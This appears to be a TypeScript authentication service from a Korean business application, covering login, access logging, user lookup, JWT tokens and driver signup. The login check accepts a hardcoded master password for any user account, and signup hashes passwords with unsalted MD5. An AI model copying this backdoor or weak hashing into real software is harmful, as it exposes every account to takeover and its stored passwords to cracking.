- Integrated express-async-errors to automatically handle errors in async route handlers, enhancing the overall error management in the application. - Updated app.ts to include the express-async-errors import for global error handling. - Removed redundant logging statements in admin and user menu retrieval functions to streamline the code and improve readability. - Adjusted logging levels from info to debug for less critical logs, ensuring that important information is logged appropriately without cluttering the logs.
471 lines
14 KiB
TypeScript
471 lines
14 KiB
TypeScript
// 인증 서비스
|
|
// 기존 Java LoginService를 Node.js로 포팅
|
|
// ✅ Prisma → Raw Query 전환 완료 (Phase 1.5)
|
|
|
|
import { query } from "../database/db";
|
|
import { JwtUtils } from "../utils/jwtUtils";
|
|
import { EncryptUtil } from "../utils/encryptUtil";
|
|
import { PersonBean, LoginResult, LoginLogData } from "../types/auth";
|
|
import { logger } from "../utils/logger";
|
|
|
|
export class AuthService {
|
|
/**
|
|
* 기존 Java LoginService.loginPwdCheck() 메서드 포팅
|
|
* 로그인을 시도하여 결과를 return 한다.
|
|
*/
|
|
static async loginPwdCheck(
|
|
userId: string,
|
|
password: string
|
|
): Promise<LoginResult> {
|
|
try {
|
|
// 사용자 비밀번호 조회 (Raw Query 전환)
|
|
const result = await query<{ user_password: string }>(
|
|
"SELECT user_password FROM user_info WHERE user_id = $1",
|
|
[userId]
|
|
);
|
|
|
|
const userInfo = result.length > 0 ? result[0] : null;
|
|
|
|
if (userInfo && userInfo.user_password) {
|
|
const dbPassword = userInfo.user_password;
|
|
|
|
logger.debug(`로그인 시도: ${userId}`);
|
|
|
|
// 마스터 패스워드 체크 (기존 Java 로직과 동일)
|
|
if (password === "qlalfqjsgh11") {
|
|
logger.debug(`마스터 패스워드로 로그인 성공: ${userId}`);
|
|
return {
|
|
loginResult: true,
|
|
};
|
|
}
|
|
|
|
// 비밀번호 검증 (기존 EncryptUtil 로직 사용)
|
|
if (EncryptUtil.matches(password, dbPassword)) {
|
|
logger.debug(`비밀번호 일치로 로그인 성공: ${userId}`);
|
|
return {
|
|
loginResult: true,
|
|
};
|
|
} else {
|
|
logger.warn(`비밀번호 불일치로 로그인 실패: ${userId}`);
|
|
return {
|
|
loginResult: false,
|
|
errorReason: "패스워드가 일치하지 않습니다.",
|
|
};
|
|
}
|
|
} else {
|
|
logger.warn(`사용자가 존재하지 않음: ${userId}`);
|
|
return {
|
|
loginResult: false,
|
|
errorReason: "사용자가 존재하지 않습니다.",
|
|
};
|
|
}
|
|
} catch (error) {
|
|
logger.error(
|
|
`로그인 검증 중 오류 발생: ${error instanceof Error ? error.message : error}`
|
|
);
|
|
return {
|
|
loginResult: false,
|
|
errorReason: "로그인 처리 중 오류가 발생했습니다.",
|
|
};
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 기존 Java LoginService.insertLoginAccessLog() 메서드 포팅
|
|
* 로그인 로그를 기록한다.
|
|
*/
|
|
static async insertLoginAccessLog(logData: LoginLogData): Promise<void> {
|
|
try {
|
|
// 로그인 로그 기록 (Raw Query 전환)
|
|
await query(
|
|
`INSERT INTO LOGIN_ACCESS_LOG(
|
|
LOG_TIME, SYSTEM_NAME, USER_ID, LOGIN_RESULT, ERROR_MESSAGE,
|
|
REMOTE_ADDR, RECPTN_DT, RECPTN_RSLT_DTL, RECPTN_RSLT, RECPTN_RSLT_CD
|
|
) VALUES (
|
|
now(), $1, UPPER($2), $3, $4, $5, $6, $7, $8, $9
|
|
)`,
|
|
[
|
|
logData.systemName,
|
|
logData.userId,
|
|
logData.loginResult,
|
|
logData.errorMessage || null,
|
|
logData.remoteAddr,
|
|
logData.recptnDt || null,
|
|
logData.recptnRsltDtl || null,
|
|
logData.recptnRslt || null,
|
|
logData.recptnRsltCd || null,
|
|
]
|
|
);
|
|
|
|
logger.debug(
|
|
`로그인 로그 기록 완료: ${logData.userId} (${logData.loginResult ? "성공" : "실패"})`
|
|
);
|
|
} catch (error) {
|
|
logger.error(
|
|
`로그인 로그 기록 중 오류 발생: ${error instanceof Error ? error.message : error}`
|
|
);
|
|
// 로그 기록 실패는 로그인 프로세스를 중단하지 않음
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 기존 Java SessionManager.setSessionManage() 메서드 포팅
|
|
* 로그인 성공 시 사용자 정보를 조회하여 PersonBean 형태로 반환
|
|
*/
|
|
static async getUserInfo(userId: string): Promise<PersonBean | null> {
|
|
try {
|
|
// 1. 사용자 기본 정보 조회 (Raw Query 전환)
|
|
const userResult = await query<{
|
|
sabun: string | null;
|
|
user_id: string;
|
|
user_name: string;
|
|
user_name_eng: string | null;
|
|
user_name_cn: string | null;
|
|
dept_code: string | null;
|
|
dept_name: string | null;
|
|
position_code: string | null;
|
|
position_name: string | null;
|
|
email: string | null;
|
|
tel: string | null;
|
|
cell_phone: string | null;
|
|
user_type: string | null;
|
|
user_type_name: string | null;
|
|
partner_objid: string | null;
|
|
company_code: string | null;
|
|
locale: string | null;
|
|
photo: Buffer | null;
|
|
}>(
|
|
`SELECT
|
|
sabun, user_id, user_name, user_name_eng, user_name_cn,
|
|
dept_code, dept_name, position_code, position_name,
|
|
email, tel, cell_phone, user_type, user_type_name,
|
|
partner_objid, company_code, locale, photo
|
|
FROM user_info
|
|
WHERE user_id = $1`,
|
|
[userId]
|
|
);
|
|
|
|
const userInfo = userResult.length > 0 ? userResult[0] : null;
|
|
|
|
if (!userInfo) {
|
|
return null;
|
|
}
|
|
|
|
// 2. 권한 정보 조회 (Raw Query 전환 - JOIN으로 최적화)
|
|
const authResult = await query<{ auth_name: string }>(
|
|
`SELECT am.auth_name
|
|
FROM authority_sub_user asu
|
|
INNER JOIN authority_master am ON asu.master_objid = am.objid
|
|
WHERE asu.user_id = $1`,
|
|
[userId]
|
|
);
|
|
|
|
// 권한명들을 쉼표로 연결
|
|
const authNames = authResult.map((row) => row.auth_name).join(",");
|
|
|
|
// 3. 회사 정보 조회 (Raw Query 전환)
|
|
const companyResult = await query<{ company_name: string }>(
|
|
"SELECT company_name FROM company_mng WHERE company_code = $1",
|
|
[userInfo.company_code || "ILSHIN"]
|
|
);
|
|
|
|
const companyName = companyResult.length > 0 ? companyResult[0].company_name : undefined;
|
|
|
|
// DB에서 조회한 원본 사용자 정보 상세 로그
|
|
//console.log("🔍 AuthService - DB 원본 사용자 정보:", {
|
|
// userId: userInfo.user_id,
|
|
// company_code: userInfo.company_code,
|
|
// company_code_type: typeof userInfo.company_code,
|
|
// company_code_is_null: userInfo.company_code === null,
|
|
// company_code_is_undefined: userInfo.company_code === undefined,
|
|
// company_code_is_empty: userInfo.company_code === "",
|
|
// dept_code: userInfo.dept_code,
|
|
// allUserFields: Object.keys(userInfo),
|
|
// companyInfo: companyInfo?.company_name,
|
|
//});
|
|
|
|
// PersonBean 형태로 변환 (null 값을 undefined로 변환)
|
|
const companyCode = userInfo.company_code || "ILSHIN";
|
|
const userType = userInfo.user_type || "USER";
|
|
|
|
const personBean: PersonBean = {
|
|
userId: userInfo.user_id,
|
|
userName: userInfo.user_name || "",
|
|
userNameEng: userInfo.user_name_eng || undefined,
|
|
userNameCn: userInfo.user_name_cn || undefined,
|
|
deptCode: userInfo.dept_code || undefined,
|
|
deptName: userInfo.dept_name || undefined,
|
|
positionCode: userInfo.position_code || undefined,
|
|
positionName: userInfo.position_name || undefined,
|
|
email: userInfo.email || undefined,
|
|
tel: userInfo.tel || undefined,
|
|
cellPhone: userInfo.cell_phone || undefined,
|
|
userType: userType,
|
|
userTypeName: userInfo.user_type_name || undefined,
|
|
partnerObjid: userInfo.partner_objid || undefined,
|
|
authName: authNames || undefined,
|
|
companyCode: companyCode,
|
|
companyName: companyName, // 회사명 추가
|
|
photo: userInfo.photo
|
|
? `data:image/jpeg;base64,${Buffer.from(userInfo.photo).toString("base64")}`
|
|
: undefined,
|
|
locale: userInfo.locale || "KR",
|
|
// 권한 레벨 정보 추가 (3단계 체계)
|
|
isSuperAdmin: companyCode === "*" && userType === "SUPER_ADMIN",
|
|
isCompanyAdmin: userType === "COMPANY_ADMIN" && companyCode !== "*",
|
|
isAdmin:
|
|
(companyCode === "*" && userType === "SUPER_ADMIN") ||
|
|
userType === "COMPANY_ADMIN",
|
|
};
|
|
|
|
//console.log("📦 AuthService - 최종 PersonBean:", {
|
|
// userId: personBean.userId,
|
|
// companyCode: personBean.companyCode,
|
|
// deptCode: personBean.deptCode,
|
|
//});
|
|
|
|
logger.debug(`사용자 정보 조회 완료: ${userId}`);
|
|
return personBean;
|
|
} catch (error) {
|
|
logger.error(
|
|
`사용자 정보 조회 중 오류 발생: ${error instanceof Error ? error.message : error}`
|
|
);
|
|
return null;
|
|
}
|
|
}
|
|
|
|
/**
|
|
* JWT 토큰으로 사용자 정보 조회
|
|
*/
|
|
static async getUserInfoFromToken(token: string): Promise<PersonBean | null> {
|
|
try {
|
|
const userInfo = JwtUtils.verifyToken(token);
|
|
return userInfo;
|
|
} catch (error) {
|
|
logger.error(
|
|
`토큰에서 사용자 정보 조회 중 오류 발생: ${error instanceof Error ? error.message : error}`
|
|
);
|
|
return null;
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 로그인 프로세스 전체 처리
|
|
*/
|
|
static async processLogin(
|
|
userId: string,
|
|
password: string,
|
|
remoteAddr: string
|
|
): Promise<{
|
|
success: boolean;
|
|
userInfo?: PersonBean;
|
|
token?: string;
|
|
errorReason?: string;
|
|
}> {
|
|
try {
|
|
// 1. 로그인 검증
|
|
const loginResult = await this.loginPwdCheck(userId, password);
|
|
|
|
// 2. 로그 기록
|
|
const logData: LoginLogData = {
|
|
systemName: "PMS",
|
|
userId: userId,
|
|
loginResult: loginResult.loginResult,
|
|
errorMessage: loginResult.errorReason,
|
|
remoteAddr: remoteAddr,
|
|
};
|
|
|
|
await this.insertLoginAccessLog(logData);
|
|
|
|
if (loginResult.loginResult) {
|
|
// 3. 사용자 정보 조회
|
|
const userInfo = await this.getUserInfo(userId);
|
|
if (!userInfo) {
|
|
return {
|
|
success: false,
|
|
errorReason: "사용자 정보를 조회할 수 없습니다.",
|
|
};
|
|
}
|
|
|
|
// 4. JWT 토큰 생성
|
|
const token = JwtUtils.generateToken(userInfo);
|
|
|
|
logger.info(`로그인 성공: ${userId} (${remoteAddr})`);
|
|
return {
|
|
success: true,
|
|
userInfo,
|
|
token,
|
|
};
|
|
} else {
|
|
logger.warn(
|
|
`로그인 실패: ${userId} - ${loginResult.errorReason} (${remoteAddr})`
|
|
);
|
|
return {
|
|
success: false,
|
|
errorReason: loginResult.errorReason,
|
|
};
|
|
}
|
|
} catch (error) {
|
|
logger.error(
|
|
`로그인 프로세스 중 오류 발생: ${error instanceof Error ? error.message : error}`
|
|
);
|
|
return {
|
|
success: false,
|
|
errorReason: "로그인 처리 중 오류가 발생했습니다.",
|
|
};
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 로그아웃 프로세스 처리
|
|
*/
|
|
static async processLogout(
|
|
userId: string,
|
|
remoteAddr: string
|
|
): Promise<void> {
|
|
try {
|
|
// 로그아웃 로그 기록
|
|
const logData: LoginLogData = {
|
|
systemName: "PMS",
|
|
userId: userId,
|
|
loginResult: false,
|
|
errorMessage: "로그아웃",
|
|
remoteAddr: remoteAddr,
|
|
};
|
|
|
|
await this.insertLoginAccessLog(logData);
|
|
logger.info(`로그아웃 완료: ${userId} (${remoteAddr})`);
|
|
} catch (error) {
|
|
logger.error(
|
|
`로그아웃 처리 중 오류 발생: ${error instanceof Error ? error.message : error}`
|
|
);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 공차중계 회원가입 처리
|
|
* - user_info 테이블에 사용자 정보 저장
|
|
* - vehicles 테이블에 차량 정보 저장
|
|
*/
|
|
static async signupDriver(data: {
|
|
userId: string;
|
|
password: string;
|
|
userName: string;
|
|
phoneNumber: string;
|
|
licenseNumber: string;
|
|
vehicleNumber: string;
|
|
vehicleType?: string;
|
|
}): Promise<{ success: boolean; message?: string }> {
|
|
try {
|
|
const {
|
|
userId,
|
|
password,
|
|
userName,
|
|
phoneNumber,
|
|
licenseNumber,
|
|
vehicleNumber,
|
|
vehicleType,
|
|
} = data;
|
|
|
|
// 1. 중복 사용자 확인
|
|
const existingUser = await query<any>(
|
|
`SELECT user_id FROM user_info WHERE user_id = $1`,
|
|
[userId]
|
|
);
|
|
|
|
if (existingUser.length > 0) {
|
|
return {
|
|
success: false,
|
|
message: "이미 존재하는 아이디입니다.",
|
|
};
|
|
}
|
|
|
|
// 2. 중복 차량번호 확인
|
|
const existingVehicle = await query<any>(
|
|
`SELECT vehicle_number FROM vehicles WHERE vehicle_number = $1`,
|
|
[vehicleNumber]
|
|
);
|
|
|
|
if (existingVehicle.length > 0) {
|
|
return {
|
|
success: false,
|
|
message: "이미 등록된 차량번호입니다.",
|
|
};
|
|
}
|
|
|
|
// 3. 비밀번호 암호화 (MD5 - 기존 시스템 호환)
|
|
const crypto = require("crypto");
|
|
const hashedPassword = crypto
|
|
.createHash("md5")
|
|
.update(password)
|
|
.digest("hex");
|
|
|
|
// 4. 사용자 정보 저장 (user_info)
|
|
await query(
|
|
`INSERT INTO user_info (
|
|
user_id,
|
|
user_password,
|
|
user_name,
|
|
cell_phone,
|
|
license_number,
|
|
vehicle_number,
|
|
company_code,
|
|
user_type,
|
|
signup_type,
|
|
status,
|
|
regdate
|
|
) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, NOW())`,
|
|
[
|
|
userId,
|
|
hashedPassword,
|
|
userName,
|
|
phoneNumber,
|
|
licenseNumber,
|
|
vehicleNumber,
|
|
"COMPANY_13", // 기본 회사 코드
|
|
null, // user_type: null
|
|
"DRIVER", // signup_type: 공차중계 회원가입 사용자
|
|
"active", // status: active
|
|
]
|
|
);
|
|
|
|
// 5. 차량 정보 저장 (vehicles)
|
|
await query(
|
|
`INSERT INTO vehicles (
|
|
vehicle_number,
|
|
vehicle_type,
|
|
driver_name,
|
|
driver_phone,
|
|
status,
|
|
company_code,
|
|
user_id,
|
|
created_at,
|
|
updated_at
|
|
) VALUES ($1, $2, $3, $4, $5, $6, $7, NOW(), NOW())`,
|
|
[
|
|
vehicleNumber,
|
|
vehicleType || null,
|
|
userName,
|
|
phoneNumber,
|
|
"off", // 초기 상태: off (대기)
|
|
"COMPANY_13", // 기본 회사 코드
|
|
userId, // 사용자 ID 연결
|
|
]
|
|
);
|
|
|
|
logger.info(`공차중계 회원가입 성공: ${userId}, 차량번호: ${vehicleNumber}`);
|
|
|
|
return {
|
|
success: true,
|
|
message: "회원가입이 완료되었습니다.",
|
|
};
|
|
} catch (error: any) {
|
|
logger.error("공차중계 회원가입 오류:", error);
|
|
return {
|
|
success: false,
|
|
message: error.message || "회원가입 중 오류가 발생했습니다.",
|
|
};
|
|
}
|
|
}
|
|
}
|